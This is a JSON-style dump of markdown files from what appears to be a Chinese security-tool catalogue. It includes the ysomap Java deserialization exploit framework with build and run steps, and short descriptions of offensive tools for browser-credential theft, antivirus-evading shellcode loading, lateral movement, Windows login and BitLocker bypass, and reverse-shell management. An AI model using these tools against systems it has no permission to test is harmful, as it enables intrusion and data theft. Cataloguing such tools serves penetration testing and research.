thesis.\n\n<h1 id=\"papers\">📄 Papers</h1>\n\nSome of the Scan and Probe modules with original technology are derived from our papers.\nYou can see some details of Xtate in theory from them.\nI hope that Xtate will be used more in academic researches.\nAnd It would be my honored if you cite our papers about Xtate despite my poor academic writing for a boring degree.\n\n- ZBanner: Fast Stateless Scanning Capable of Obtaining Responses over TCP\n\n```\n@misc{chen2024zbanner,\n      title={ZBanner: Fast Stateless Scanning Capable of Obtaining Responses over TCP}, \n      author={Chiyu Chen and Yuliang Lu and Guozheng Yang and Yi Xie and Shasha Guo},\n      year={2024},\n      eprint={2405.07409},\n      archivePrefix={arXiv},\n      primaryClass={cs.NI}\n}\n```\n\n- Efficient Application-Layer Scanning with Hybrid-State Lightweight TCP Stack for TLS-based Service Monitoring\n\n```\npublishing...\n```\n\n**Well...bad papers and thesis, but wonderful scanner**😜\n\n<a href=\"#top\">🔝back to top</a>\n\n<h1 id=\"license\">🪪 License</h1>\n\nCopyright (c) 2024 sharkocha\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, version 3 of the License.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU Affero General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program.  If not, see <https://www.gnu.org/licenses/>.\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v2.13.0] - 2025-06-26\n\n**更新**  \n- 更新文档和 meta 信息  \n**修复**  \n- 修复一些 bug\n\n#### [v2.12.3] - 2025-05-24\n\n**更新**  \n- 仅在交互模式下进行扫描。  \n- 代码重构。  \n**修复**  \n- 在发布模式下的编译警告。  \n- 二进制搜索算法中的错误。  \n- 参数解析问题。  \n- 在交互模式下的操作混乱。  \n\n#### [v2.12.2] - 2025-05-15\n\n**更新**  \n- 移除默认扫描模块，更新log信息文本  \n**修复**  \n- 修复参数解析错误\n\n#### [v2.12.0] - 2025-04-14\n\n**更新**  \n- 功能：在 Linux 的交互模式中添加reboot  \n- 修复：在 Windows 上使用 MinGW 的编译问题\n\n#### [v2.11.1] - 2025-04-06\n\n**更新**  \n- 优化：部分代码和自检日志  \n- 更新：添加 IPv6 地址自检以与 Masscan 保持一致\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/ysomap.md",
    "content": "## ysomap <https://github.com/wh1t3p1g/ysomap>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-wh1t3p1g-orange)\n![GitHub stars](https://img.shields.io/github/stars/wh1t3p1g/ysomap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.4-red)\n![Time](https://img.shields.io/badge/Join-20211122-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nYsomap是一款适配于各类实际复杂环境的Java反序列化利用框架，可动态配置具备不同执行效果的Java反序列化利用链payload，以应对不同场景下的反序列化利用。\n\n此外，ysomap支持多种exploits，用于生成或配置一些evil server，或者是常见漏洞的exp。\n```\n[+] exploits(11) payloads(31) bullets(28)\n```\n## #1 如何使用\n\n### 生成\n由于最新版XStream的payload需要JDK8的环境进行编译，所以后续运行需在JDK8的环境下运行\n\n使用`mvn clean package -DskipTests`\n\n生成的jar位于`cli/target/ysomap.jar`\n\n版本>=v0.0.1支持两种运行模式\n\n1. cli模式\n执行`java -jar ysomap.jar cli`,终端模式\n   \n2. script模式\n执行`java -jar ysomap.jar script /path/to/script.yso`，脚本模式\n\nps: 后续版本为了适配XStream的相关gadget加入了很多jdk的对象，所以如果要使用xstream的gadget，ysomap最好运行在jdk8的环境下。\n### 基础使用方法\n\n参见[YSOMAP食用指北](https://github.com/wh1t3p1g/ysomap/wiki/YSOMAP%E9%A3%9F%E7%94%A8%E6%8C%87%E5%8C%97)\n\n## #2 当前进度\n\n### DONE\n\n- [x] 支持CommonsCollections系列payload\n- [x] 支持执行效果bullet：远程jar载入、命令执行、代码执行、发起jndi效果、tomcat内存马、延时判断、文件写入、socket shell。\n- [x] 支持现有RMI系列攻击包 [原理1](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/) [原理2](http://blog.0kami.cn/2020/02/09/jndi-with-rmi/) [原理3](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/)\n- [x] 支持现有LDAP系列攻击包 [原理](http://blog.0kami.cn/2020/03/01/jndi-with-ldap/)\n- [x] 支持HTTP服务动态挂载恶意的class文件或jar文件\n- [x] 支持URLDNS\n- [x] 支持现有JMX系列攻击包 [原理](http://blog.0kami.cn/2020/03/10/java-jmx-rmi/)\n- [x] 支持fastjson JdbcRowSetImpl、TemplatesImpl gadget [原理](http://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/)\n- [x] 支持现有XStream系列payload包 [原理](http://blog.0kami.cn/2020/04/18/talk-about-xstream-deserialization/)\n- [x] 支持weblogic XMLDecoder payloads\n\n### TODO\n\n- [ ] 支持weblogic系列攻击包\n- [ ] 支持websphere系列攻击包\n\n## #3 由来\n\n在实际分析ysoserial的利用链时，有时候会觉得框架写的太死，有以下几个缺点：\n\n1. 同一个利用链如果想改变一下最后的利用效果，如命令执行改成代码执行，我们需要改写这个利用链或者是重新增加一个利用链。这时，我们其实可以看到利用链的前半部分是不变的，变的只是后续的利用效果。\n2. ysoserial仅实现了常规的序列化利用链，对于类似JSON格式的序列化利用链，以当前的这个框架扩展起来会比较麻烦\n\n所以萌生了开发一个更加灵活的框架来扩展反序列化利用链，也就是当前这个试验品ysomap。\n\nPS：YSOMAP项目为另一个项目的子项目，后续将开源该项目，敬请期待......\n\n## #4 原理\n\n我将利用链切分成了两个部分**payload**和**bullet**：\n\n1. payload：指代利用链的前序部分\n2. bullet：指代最终利用链可达成的效果\n\n#### 实际案例分析\n\nCommonsCollection1和3，在分析时我们可以看到实际1和3的区别在于1使用的是`InvokerTransformer`，而3使用的是`templatesImpl`的方式。那么提取相同的前序payload部分，我们只需写两个不同的bullet即可。而且这两个bullet也同样能被用在其他的payload上。\n\n实际还有就是我在写RMIRegistryExploit时，也有这种可将不变部分重用的地方，而无需2,3之类的出现。\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-24 发布文章[《ysomap : Java反序列化利用框架》](https://mp.weixin.qq.com/s/WluThXve9hLoJQ8hnyfLgA)\n\n## 最近更新\n\n#### [v0.1.4] - 2022-10-15\n\n**更新**  \n- 新增 16 exploits, 12 payloads, 9 bullets  \n- 新增 yso 脚本支持  \n- 使用 `script /path/to/file.yso` 加载 yso 脚本(cli 模式下)  \n- 使用 `dump /path/to/file.yso` 导出当前会话设置(cli 模式下)  \n- 使用 `java -jar ysomap.jar cli` 触发 cli 模式   \n- 使用 `java -jar ysomap.jar script /path/to/file.yso` 触发脚本模式\n\n#### [v0.1.3] - 2022-04-15\n\n**更新**  \n- 新增若干payloads、bullets，目前共计 [+] exploits(12) payloads(31) bullets(36)  \n- 支持设置编码器、输出方式、serialVersionUid、序列器类型，具体方法见wiki\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "information_analysis.md",
    "content": "## 信息分析 / information_analysis\n\n1. [HackBrowserData](#hackbrowserdata)\n2. [KunLun-M](#kunlun-m)\n3. [Pillager](#pillager)\n4. [AppScan](#appscan)\n5. [frida-skeleton](#frida-skeleton)\n6. [java-object-searcher](#java-object-searcher)\n7. [js-cookie-monitor-debugger-hook](#js-cookie-monitor-debugger-hook)\n8. [MySQLMonitor](#mysqlmonitor)\n9. [CodeReviewTools](#codereviewtools)\n\n----------------------------------------\n\n### [HackBrowserData](detail/HackBrowserData.md)\n![Author](https://img.shields.io/badge/Author-moonD4rk-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/moonD4rk/HackBrowserData.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.4.6-red)\n\n<https://github.com/moonD4rk/HackBrowserData>\n\nhack-browser-data 是一个解密浏览器数据（密码/历史记录/Cookies/书签）的导出工具，支持全平台主流浏览器的数据导出窃取。\n\n### [KunLun-M](detail/KunLun-M.md)\n![Author](https://img.shields.io/badge/Author-LoRexxar-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/LoRexxar/Kunlun-M.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.6.5-red)\n\n<https://github.com/LoRexxar/Kunlun-M>\n\nKunLun-M是一个完全开源的静态白盒扫描工具，支持PHP、JavaScript的语义扫描，基础安全、组件安全扫描，Chrome Ext\\Solidity的基础扫描。\n\n### [Pillager](detail/Pillager.md)\n![Author](https://img.shields.io/badge/Author-qwqdanchun-orange)\n![Language](https://img.shields.io/badge/Language-C#-blue)\n![GitHub stars](https://img.shields.io/github/stars/qwqdanchun/Pillager.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/qwqdanchun/Pillager>\n\nPillager是一个适用于后渗透期间的信息收集工具，可以收集目标机器上敏感信息，方便下一步渗透工作的进行。\n\n### [AppScan](detail/AppScan.md)\n![Author](https://img.shields.io/badge/Author-TongchengOpenSource-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/TongchengOpenSource/AppScan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.5-red)\n\n<https://github.com/TongchengOpenSource/AppScan>\n\n安全隐私卫士（AppScan）一款免费的企业级自动化App隐私合规检测工具\n\n### [frida-skeleton](detail/frida-skeleton.md)\n![Author](https://img.shields.io/badge/Author-Margular-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/Margular/frida-skeleton.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.3-red)\n\n<https://github.com/Margular/frida-skeleton>\n\nfrida-skeleton是基于frida的安卓hook框架，提供了很多frida自身不支持的功能，将hook安卓变成简单便捷，人人都会的事情。\n\n### [java-object-searcher](detail/java-object-searcher.md)\n![Author](https://img.shields.io/badge/Author-c0ny1-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/c0ny1/java-object-searcher.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.0-red)\n\n<https://github.com/c0ny1/java-object-searcher>\n\njava内存对象搜索辅助工具，配合IDEA在Java应用运行时，对内存中的对象进行搜索。比如可以可以用挖掘request对象用于回显等场景。\n\n### [js-cookie-monitor-debugger-hook](detail/js-cookie-monitor-debugger-hook.md)\n![Author](https://img.shields.io/badge/Author-JSREI-orange)\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/JSREI/js-cookie-monitor-debugger-hook.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.11.0-red)\n\n<https://github.com/JSREI/js-cookie-monitor-debugger-hook>\n\njs cookie逆向利器：js cookie变动监控可视化工具 & js cookie hook打条件断点\n\n### [MySQLMonitor](detail/MySQLMonitor.md)\n![Author](https://img.shields.io/badge/Author-TheKingOfDuck-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/TheKingOfDuck/MySQLMonitor.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/TheKingOfDuck/MySQLMonitor>\n\nMySQL实时监控工具(代码审计/黑盒/白盒审计辅助工具) \n\n### [CodeReviewTools](detail/CodeReviewTools.md)\n![Author](https://img.shields.io/badge/Author-Ppsoft1991-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/Ppsoft1991/CodeReviewTools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n\n<https://github.com/Ppsoft1991/CodeReviewTools>\n\nCodeReviewTools是一个可以快速批量反编译jar包的工具，为审计Java代码做好第一步。\n\n"
  },
  {
    "path": "intranet_tools.md",
    "content": "## 内网工具 / intranet_tools\n\n1. [fscan](#fscan)\n2. [antSword](#antsword)\n3. [Stowaway](#stowaway)\n4. [shellcodeloader](#shellcodeloader)\n5. [ServerScan](#serverscan)\n6. [Platypus](#platypus)\n7. [WMIHACKER](#wmihacker)\n8. [rakshasa](#rakshasa)\n9. [As-Exploits](#as-exploits)\n10. [g3proxy](#g3proxy)\n11. [PortForward](#portforward)\n\n----------------------------------------\n\n### [fscan](detail/fscan.md)\n![Author](https://img.shields.io/badge/Author-shadow1ng-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/shadow1ng/fscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.1-red)\n\n<https://github.com/shadow1ng/fscan>\n\n一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。\n\n### [antSword](detail/antSword.md)\n![Author](https://img.shields.io/badge/Author-AntSwordProject-orange)\n![Language](https://img.shields.io/badge/Language-Nodejs-blue)\n![GitHub stars](https://img.shields.io/github/stars/AntSwordProject/antSword.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.1.15-red)\n\n<https://github.com/AntSwordProject/antSword>\n\n中国蚁剑是一款开源的跨平台网站管理工具。\n\n### [Stowaway](detail/Stowaway.md)\n![Author](https://img.shields.io/badge/Author-ph4ntonn-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/ph4ntonn/Stowaway.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.2-red)\n\n<https://github.com/ph4ntonn/Stowaway>\n\nStowaway 是一款多级代理工具，可将外部流量通过多个节点代理至内网，突破内网访问限制。Stowaway 可以方便渗透测试人员通过多级跳跃，从外部dmz等一系列区域逐步深入核心网络；Stowaway 除了流量转发功能，还提供了端口复用、ssh隧道，流量伪装等专为渗透测试人员所用的功能。\n\n### [shellcodeloader](detail/shellcodeloader.md)\n![Author](https://img.shields.io/badge/Author-m0ngo0se@knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-C++-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/shellcodeloader.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1-red)\n\n<https://github.com/knownsec/shellcodeloader>\n\nWindows平台的shellcode免杀加载器，自带多种加载方式：32位自带13种加载方式，64位自带12种加载方式。\n\n### [ServerScan](detail/ServerScan.md)\n![Author](https://img.shields.io/badge/Author-Adminisme-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/Adminisme/ServerScan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.2-red)\n\n<https://github.com/Adminisme/ServerScan>\n\n一款使用Golang开发且适用于攻防演习内网横向信息收集的高并发网络扫描、服务探测工具。\n\n### [Platypus](detail/Platypus.md)\n![Author](https://img.shields.io/badge/Author-WangYihang-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/WangYihang/Platypus.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n\n<https://github.com/WangYihang/Platypus>\n\nPlatypus 是一个基于终端与 Web UI 交互式的反弹 Shell 会话管理工具。在实际的渗透测试中，为了解决 Netcat/Socat 等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能，可以更方便灵活地对反弹 Shell 会话进行管理。\n\n### [WMIHACKER](detail/WMIHACKER.md)\n![Author](https://img.shields.io/badge/Author-rootclay-orange)\n![Language](https://img.shields.io/badge/Language-VBScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/rootclay/WMIHACKER.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/rootclay/WMIHACKER>\n\nWMIHACKER是一款免杀横向渗透远程命令执行工具，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出的WMIHACKER可免杀横向移动。并且在企业网络目前阻断445端口严重的情况下可以无需445端口进行横向移动，效率高且不易被检测。\n\n### [rakshasa](detail/rakshasa.md)\n![Author](https://img.shields.io/badge/Author-Mob2003-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/Mob2003/rakshasa.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.2.3-red)\n\n<https://github.com/Mob2003/rakshasa>\n\nrakshasa是一个使用Go语言编写的强大多级代理工具，专为实现多级代理，内网穿透而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应，同时支持socks5代理，http代理，并且可以引入外部http、socks5代理池，自动切换请求IP。\n\n### [As-Exploits](detail/As-Exploits.md)\n![Author](https://img.shields.io/badge/Author-yzddmr6-orange)\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/yzddmr6/As-Exploits.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n\n<https://github.com/yzddmr6/As-Exploits>\n\n中国蚁剑后渗透框架\n\n### [g3proxy](detail/g3proxy.md)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![Language](https://img.shields.io/badge/Language-Rust-blue)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/g3.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.12.3-red)\n\n<https://github.com/bytedance/g3>\n\n通用正向代理解决方案，同时带有TCP映射、TLS卸载/封装、透明代理、简单反向代理等功能\n\n### [PortForward](detail/PortForward.md)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/PortForward.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n\n<https://github.com/knownsec/PortForward>\n\nPortForward 是使用 Golang 进行开发的端口转发工具，解决在某些场景下内外网无法互通的问题\n\n"
  },
  {
    "path": "others.md",
    "content": "## 其他 / others\n\n1. [AiPy](#aipy)\n2. [CyberStrikeAI](#cyberstrikeai)\n3. [f8x](#f8x)\n4. [BinAbsInspector](#binabsinspector)\n5. [Heimdallr](#heimdallr)\n6. [passive-scan-client](#passive-scan-client)\n7. [AntiDebug_Breaker](#antidebug_breaker)\n8. [agentic-soc-platform.json](#agentic-soc-platform.json)\n9. [GrabAccess](#grabaccess)\n10. [JNDIMap](#jndimap)\n11. [Typhon](#typhon)\n12. [wam](#wam)\n13. [WeaponizedVSCode](#weaponizedvscode)\n14. [LBot](#lbot)\n\n----------------------------------------\n\n### [AiPy](detail/AiPy.md)\n![Author](https://img.shields.io/badge/Author-Knownsec-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/aipyapp.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n\n<https://github.com/knownsec/aipyapp>\n\nAiPy是知道创宇站在AI技术变革前沿，基于LLM（大语言模型）与高级编程语言Python 完美融合，打造的一款突破性产品。AiPy以创新的技术范式和更低的成本，重构AI生产力边界，让大模型集思考能力和主动执行任务于一体。\n\n### [CyberStrikeAI](detail/CyberStrikeAI.md)\n![Author](https://img.shields.io/badge/Author-Ed1s0nZ-orange)\n![Language](https://img.shields.io/badge/Language-go-blue)\n![GitHub stars](https://img.shields.io/github/stars/Ed1s0nZ/CyberStrikeAI.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.23-red)\n\n<https://github.com/Ed1s0nZ/CyberStrikeAI>\n\nCyberStrikeAI 是一款 AI 原生安全测试平台，基于 Go 构建，集成了 100+ 安全工具、智能编排引擎与完整的测试生命周期管理能力\n\n### [f8x](detail/f8x.md)\n![Author](https://img.shields.io/badge/Author-ffffffff0x-orange)\n![Language](https://img.shields.io/badge/Language-Bash-blue)\n![GitHub stars](https://img.shields.io/github/stars/ffffffff0x/f8x.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.6.2-red)\n\n<https://github.com/ffffffff0x/f8x>\n\n一款红/蓝队环境自动化部署工具,支持多种场景,渗透,开发,代理环境,服务可选项等。\n\n### [BinAbsInspector](detail/BinAbsInspector.md)\n![Author](https://img.shields.io/badge/Author-KeenSecurityLab-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/KeenSecurityLab/BinAbsInspector.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1-red)\n\n<https://github.com/KeenSecurityLab/BinAbsInspector>\n\nBinAbsInspector(Binary Abstract Inspector)是一款用于自动化逆向工程和扫描二进制文件漏洞的静态分析器，是 Keenlab 孵化的长期研究项目。基于 Ghidra 的支持下的抽象解释，适用于 Ghidra 的 Pcode 而非汇编。目前支持 x86、x64、armv7 和 aarch64 的二进制文件。\n\n### [Heimdallr](detail/Heimdallr.md)\n![Author](https://img.shields.io/badge/Author-graynjo-orange)\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/graynjo/Heimdallr.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.3-red)\n\n<https://github.com/graynjo/Heimdallr>\n\n一款完全被动监听的谷歌插件，用于高危指纹识别、蜜罐特征告警和拦截、机器特征对抗。\n\n### [passive-scan-client](detail/passive-scan-client.md)\n![Author](https://img.shields.io/badge/Author-c0ny1-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/c0ny1/passive-scan-client.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.3.1-red)\n\n<https://github.com/c0ny1/passive-scan-client>\n\nPassive Scan Client是一款可以将经过筛选的流量转发到指定代理的Burp被动扫描流量转发插件\n\n### [AntiDebug_Breaker](detail/AntiDebug_Breaker.md)\n![Author](https://img.shields.io/badge/Author-0xsdeo-orange)\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/0xsdeo/AntiDebug_Breaker.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.0.4-red)\n\n<https://github.com/0xsdeo/AntiDebug_Breaker>\n\n本插件是基于Hook_JS库所写的Google插件，将致力于辅助前端JavaScript逆向以及渗透测试信息收集。\n\n### [agentic-soc-platform.json](detail/agentic-soc-platform.md)\n![Author](https://img.shields.io/badge/Author-FunnyWolf-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/FunnyWolf/agentic-soc-platform.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.2.0-red)\n\n<https://github.com/FunnyWolf/agentic-soc-platform>\n\nAgentic SOC Platform 是一个功能强大、灵活且开源的自动化安全运营平台。它集成了 AI Agent 能力与自动化编排，支持主流 SIEM/SOAR 场景，帮助企业高效构建智能化安全运营体系。\n\n### [GrabAccess](detail/GrabAccess.md)\n![Author](https://img.shields.io/badge/Author-Push3AX-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/Push3AX/GrabAccess.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1-red)\n\n<https://github.com/Push3AX/GrabAccess>\n\nGrabAccess：Bookit/Windows登陆密码和Bitlocker绕过工具，在物理接触目标计算机的情况下，GrabAccess可以：绕过Windows登陆密码执行任意操作（以System权限执行命令、重置Windows账户密码等），植入木马并添加自启动（可以绕过Bitlocker，但要求受害者登录），通过修改主板UEFI固件实现无视重装系统、更换硬盘的持久化（Bootkit）\n\n### [JNDIMap](detail/JNDIMap.md)\n![Author](https://img.shields.io/badge/Author-X1r0z-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/X1r0z/JNDIMap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.4-red)\n\n<https://github.com/X1r0z/JNDIMap>\n\n一个 JNDI 注入利用框架, 支持 RMI、LDAP 和 LDAPS 协议, 包含多种高版本 JDK 绕过方式\n\n### [Typhon](detail/Typhon.md)\n![Author](https://img.shields.io/badge/Author-LamentXU123-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/LamentXU123/Typhon.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.13-red)\n\n<https://github.com/LamentXU123/Typhon>\n\nTyphon 是绕过 pyjail 的一把梭的CTF工具\n\n### [wam](detail/wam.md)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/wam.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0-red)\n\n<https://github.com/knownsec/wam>\n\nWAM是一个由Python开发的用于监控'Web App'、'动态网络信息'的平台。在一定程度上，它极大地帮助安全研究人员节省了跟踪代码补丁的时间。\n\n### [WeaponizedVSCode](detail/WeaponizedVSCode.md)\n![Author](https://img.shields.io/badge/Author-Esonhugh-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/Esonhugh/WeaponizedVSCode.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n\n<https://github.com/Esonhugh/WeaponizedVSCode>\n\n一个基于VSCode工作区的黑客环境工具。\n\n### [LBot](detail/LBot.md)\n![Author](https://img.shields.io/badge/Author-LoRexxar@knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/LBot.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/knownsec/LBot>\n\nLBot主要用于方便的编写一个xss的bot程序。使用者可以简单的修改其逻辑以及配置环境，即可获得一个简单的xss的bot程序。由于原型来自于爬虫程序，所以只要前端有一定的频率限制，后端很难出现问题，比较稳定。\n\n"
  },
  {
    "path": "party_a.md",
    "content": "## 甲方工具 / party_a\n\n1. [dperf](#dperf)\n2. [Elkeid](#elkeid)\n3. [linglong](#linglong)\n4. [Tai-e](#tai-e)\n5. [murphysec](#murphysec)\n6. [appshark](#appshark)\n7. [camille](#camille)\n8. [veinmind-tools](#veinmind-tools)\n9. [OpenStar](#openstar)\n10. [AppScan](#appscan)\n11. [GShark](#gshark)\n12. [Juggler](#juggler)\n13. [vArmor](#varmor)\n14. [Hades](#hades)\n\n----------------------------------------\n\n### [dperf](detail/dperf.md)\n![Author](https://img.shields.io/badge/Author-Benjamin-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/baidu/dperf.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.8.0-red)\n\n<https://github.com/baidu/dperf>\n\ndperf 是一个100Gbps的网络性能与压力测试软件。国内多个知名安全厂商用dperf测试其防火墙。知名开源四层负载均衡DPVS在用dperf做性能测试，发布性能测试报告。\n\n### [Elkeid](detail/Elkeid.md)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![Language](https://img.shields.io/badge/Language-C/Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/Elkeid.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/bytedance/Elkeid>\n\nElkeid是一个云原生的基于主机的安全(入侵检测与风险识别)解决方案。Elkeid 包含两大部分：Elkeid Agent与Elkeid Driver作为数据采集层，它在Linux系统的内核和用户空间上均可使用，从而提供了具有更好性能的且更丰富的数据。 Elkeid Server可以提供百万级Agent的接入能力，采集Agent数据，支持控制与策略下发。包含实时、离线计算模块，对采集上来的数据进行分析和检测。又有自带的服务发现和管理系统，方便对整个后台管理和操作。\n\n### [linglong](detail/linglong.md)\n![Author](https://img.shields.io/badge/Author-awake1t-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/awake1t/linglong.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n\n<https://github.com/awake1t/linglong>\n\nlinglong是一款甲方资产巡航扫描系统。系统定位是发现资产，进行端口爆破。帮助企业更快发现弱口令问题。主要功能包括: 资产探测、端口爆破、定时任务、管理后台识别、报表展示。\n\n### [Tai-e](detail/Tai-e.md)\n![Author](https://img.shields.io/badge/Author-pascal_lab-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub 